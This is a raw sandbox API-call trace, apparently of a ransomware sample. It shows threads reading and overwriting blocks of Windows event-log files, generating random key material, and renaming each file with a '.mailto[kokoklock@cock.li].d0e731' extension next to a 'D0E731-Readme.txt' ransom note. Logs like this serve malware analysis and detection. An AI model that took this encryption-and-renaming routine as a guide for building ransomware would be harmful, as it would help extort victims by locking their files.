[0063.218] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c390) returned 1 [0063.218] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0063.218] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434668 [0063.218] wcscpy (in: _Dest=0x3434668, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0063.218] wcscat (in: _Dest=0x3434668, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0063.218] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0063.218] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434668) returned 1 [0063.218] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb450) returned 1 [0063.218] RtlExitUserThread (Status=0x1) Thread: id = 166 os_tid = 0x1110 [0063.219] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20 [0063.220] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx", dwFileAttributes=0x20) returned 1 [0063.220] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0063.220] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x9f2fe9c | out: lpFileSize=0x9f2fe9c*=1052672) returned 1 [0063.220] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x100ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.221] ReadFile (in: hFile=0x3bc, lpBuffer=0x9f2fe70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9f2fe6c, lpOverlapped=0x0 | out: lpBuffer=0x9f2fe70*, lpNumberOfBytesRead=0x9f2fe6c*=0x4, lpOverlapped=0x0) returned 1 [0063.222] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.222] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf88 [0063.222] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfd8 [0063.222] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ce70 [0063.222] NtQuerySystemTime (in: CurrentTime=0x9f2fe48 | out: CurrentTime=0x9f2fe48*=132121176211121428) returned 0x0 [0063.222] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0x34fac778 [0063.222] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0x54da92c9 [0063.222] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0xdee9a2c [0063.222] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0xed375e9c [0063.222] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0x494ade37 [0063.222] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0xd5063ae7 [0063.222] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0xb9b1c7a5 [0063.222] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0x6b4c608c [0063.222] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0x7945641e [0063.222] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0xc22d9b14 [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0xbad79d42 [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0x8f2d88fe [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0x6f1f5b14 [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0x360faa94 [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0xda9504a [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0xdd91a6e0 [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0xaaa51489 [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0x9508b044 [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0x652396d8 [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0x4523023 [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0x65f7463a [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0x76f2a5f1 [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0xb406209f [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0x76c5954d [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0x5166f2c5 [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0x7a7fa55d [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0xc5cbe965 [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0x154b4dcc [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0xb1b618db [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0x3c162ca6 [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0xe946593c [0063.223] RtlRandom (in: Seed=0x9f2fe54 | out: Seed=0x9f2fe54) returned 0xf55f702f [0063.232] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ce98 [0063.234] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.234] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0063.234] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.234] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf88) returned 1 [0063.234] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0063.234] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.234] ReadFile (in: hFile=0x3bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x9f2fe08, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x9f2fe08*=0x4096, lpOverlapped=0x0) returned 1 [0063.236] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.236] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda18 [0063.236] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.236] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf60 [0063.236] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf60) returned 1 [0063.236] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0063.237] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d028 [0063.237] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf10 [0063.237] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf10) returned 1 [0063.237] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.237] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda18) returned 1 [0063.237] WriteFile (in: hFile=0x3bc, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x9f2fe08, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x9f2fe08*=0x4096, lpOverlapped=0x0) returned 1 [0063.237] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0063.237] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.237] ReadFile (in: hFile=0x3bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x9f2fe08, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x9f2fe08*=0x4096, lpOverlapped=0x0) returned 1 [0063.238] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.238] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd9d0 [0063.238] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.238] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d050 [0063.238] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d050) returned 1 [0063.239] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0063.239] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cec0 [0063.239] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cee8 [0063.239] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cee8) returned 1 [0063.239] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.239] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd9d0) returned 1 [0063.239] WriteFile (in: hFile=0x3bc, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x9f2fe08, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x9f2fe08*=0x4096, lpOverlapped=0x0) returned 1 [0063.239] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0063.239] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0xfcf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.239] ReadFile (in: hFile=0x3bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x9f2fe08, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x9f2fe08*=0x4096, lpOverlapped=0x0) returned 1 [0063.240] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0xfcf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.240] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdaa8 [0063.240] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.240] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfb0 [0063.240] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfb0) returned 1 [0063.241] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0063.241] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d050 [0063.241] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cee8 [0063.241] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cee8) returned 1 [0063.241] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.241] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdaa8) returned 1 [0063.241] WriteFile (in: hFile=0x3bc, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x9f2fe08, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x9f2fe08*=0x4096, lpOverlapped=0x0) returned 1 [0063.241] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0063.241] WriteFile (in: hFile=0x3bc, lpBuffer=0x347d028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9f2fe64, lpOverlapped=0x0 | out: lpBuffer=0x347d028*, lpNumberOfBytesWritten=0x9f2fe64*=0x20, lpOverlapped=0x0) returned 1 [0063.242] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cec0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9f2fe64, lpOverlapped=0x0 | out: lpBuffer=0x347cec0*, lpNumberOfBytesWritten=0x9f2fe64*=0x20, lpOverlapped=0x0) returned 1 [0063.242] WriteFile (in: hFile=0x3bc, lpBuffer=0x347d050*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9f2fe64, lpOverlapped=0x0 | out: lpBuffer=0x347d050*, lpNumberOfBytesWritten=0x9f2fe64*=0x20, lpOverlapped=0x0) returned 1 [0063.242] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0063.242] WriteFile (in: hFile=0x3bc, lpBuffer=0x347d000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9f2fe6c, lpOverlapped=0x0 | out: lpBuffer=0x347d000*, lpNumberOfBytesWritten=0x9f2fe6c*=0x8, lpOverlapped=0x0) returned 1 [0063.242] WriteFile (in: hFile=0x3bc, lpBuffer=0x9f2fe84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9f2fe6c, lpOverlapped=0x0 | out: lpBuffer=0x9f2fe84*, lpNumberOfBytesWritten=0x9f2fe6c*=0x4, lpOverlapped=0x0) returned 1 [0063.242] WriteFile (in: hFile=0x3bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9f2fe6c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x9f2fe6c*=0x4, lpOverlapped=0x0) returned 1 [0063.242] WriteFile (in: hFile=0x3bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9f2fe6c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x9f2fe6c*=0x6c, lpOverlapped=0x0) returned 1 [0063.242] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cfd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9f2fe6c, lpOverlapped=0x0 | out: lpBuffer=0x347cfd8*, lpNumberOfBytesWritten=0x9f2fe6c*=0x20, lpOverlapped=0x0) returned 1 [0063.242] WriteFile (in: hFile=0x3bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9f2fe6c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x9f2fe6c*=0x4, lpOverlapped=0x0) returned 1 [0063.242] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfd8) returned 1 [0063.242] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ce98) returned 1 [0063.243] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0063.243] CloseHandle (hObject=0x3bc) returned 1 [0065.137] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33cedf8 [0065.137] wcscpy (in: _Dest=0x33cedf8, _Source="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" [0065.137] wcscat (in: _Dest=0x33cedf8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731" [0065.137] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.138] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.138] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cedf8) returned 1 [0065.138] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx", dwFileAttributes=0x20) returned 0 [0065.138] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34343a8 [0065.138] wcscpy (in: _Dest=0x34343a8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0065.139] wcscat (in: _Dest=0x34343a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0065.139] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0065.139] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34343a8) returned 1 [0065.139] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c4a60) returned 1 [0065.139] RtlExitUserThread (Status=0x1) Thread: id = 167 os_tid = 0x1114 [0063.259] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20 [0063.259] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0063.259] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0063.259] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x9fafa0c | out: lpFileSize=0x9fafa0c*=69632) returned 1 [0063.259] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.259] ReadFile (in: hFile=0x3b8, lpBuffer=0x9faf9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9faf9dc, lpOverlapped=0x0 | out: lpBuffer=0x9faf9e0*, lpNumberOfBytesRead=0x9faf9dc*=0x4, lpOverlapped=0x0) returned 1 [0063.261] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.261] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfb0 [0063.261] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0063.261] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ce98 [0063.261] NtQuerySystemTime (in: CurrentTime=0x9faf9b8 | out: CurrentTime=0x9faf9b8*=132121176211590240) returned 0x0 [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0x4b5874b1 [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0xa660b0e1 [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0x4435c3f8 [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0x27d9ea9e [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0x85beccca [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0xcd268f69 [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0xd11c5202 [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0xb4ac0cb6 [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0xb2e509b1 [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0xfc8fa58c [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0x93b6d9a6 [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0x84da2b06 [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0x43468d03 [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0x5201b2b2 [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0x2d438c43 [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0x2bd4f3d4 [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0xc9ae21cc [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0x46989d90 [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0x6723901e [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0xda3bf9de [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0x148b7296 [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0x787fff3b [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0xf7cdebec [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0xf16aed84 [0063.261] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0x5f80f151 [0063.262] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0x1a1ae6df [0063.262] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0x4482de6e [0063.262] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0xe7f976ba [0063.262] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0xb86649da [0063.262] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0x9312bc5 [0063.262] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0xc7227445 [0063.262] RtlRandom (in: Seed=0x9faf9c4 | out: Seed=0x9faf9c4) returned 0xefa08cab [0063.270] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cee8 [0063.272] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.272] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf10 [0063.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfb0) returned 1 [0063.272] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0063.272] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.272] ReadFile (in: hFile=0x3b8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x9faf990, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x9faf990*=0x4096, lpOverlapped=0x0) returned 1 [0063.273] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.273] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda18 [0063.273] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.273] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfd8 [0063.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfd8) returned 1 [0063.274] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0063.274] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf38 [0063.274] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfb0 [0063.274] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfb0) returned 1 [0063.274] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.274] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda18) returned 1 [0063.274] WriteFile (in: hFile=0x3b8, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x9faf990, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x9faf990*=0x4096, lpOverlapped=0x0) returned 1 [0063.274] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0063.274] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.274] WriteFile (in: hFile=0x3b8, lpBuffer=0x347cf38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9faf9c8, lpOverlapped=0x0 | out: lpBuffer=0x347cf38*, lpNumberOfBytesWritten=0x9faf9c8*=0x20, lpOverlapped=0x0) returned 1 [0063.275] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf38) returned 1 [0063.275] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0063.275] WriteFile (in: hFile=0x3b8, lpBuffer=0x347cf10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9faf9dc, lpOverlapped=0x0 | out: lpBuffer=0x347cf10*, lpNumberOfBytesWritten=0x9faf9dc*=0x8, lpOverlapped=0x0) returned 1 [0063.275] WriteFile (in: hFile=0x3b8, lpBuffer=0x9faf9f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9faf9dc, lpOverlapped=0x0 | out: lpBuffer=0x9faf9f4*, lpNumberOfBytesWritten=0x9faf9dc*=0x4, lpOverlapped=0x0) returned 1 [0063.275] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9faf9dc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x9faf9dc*=0x4, lpOverlapped=0x0) returned 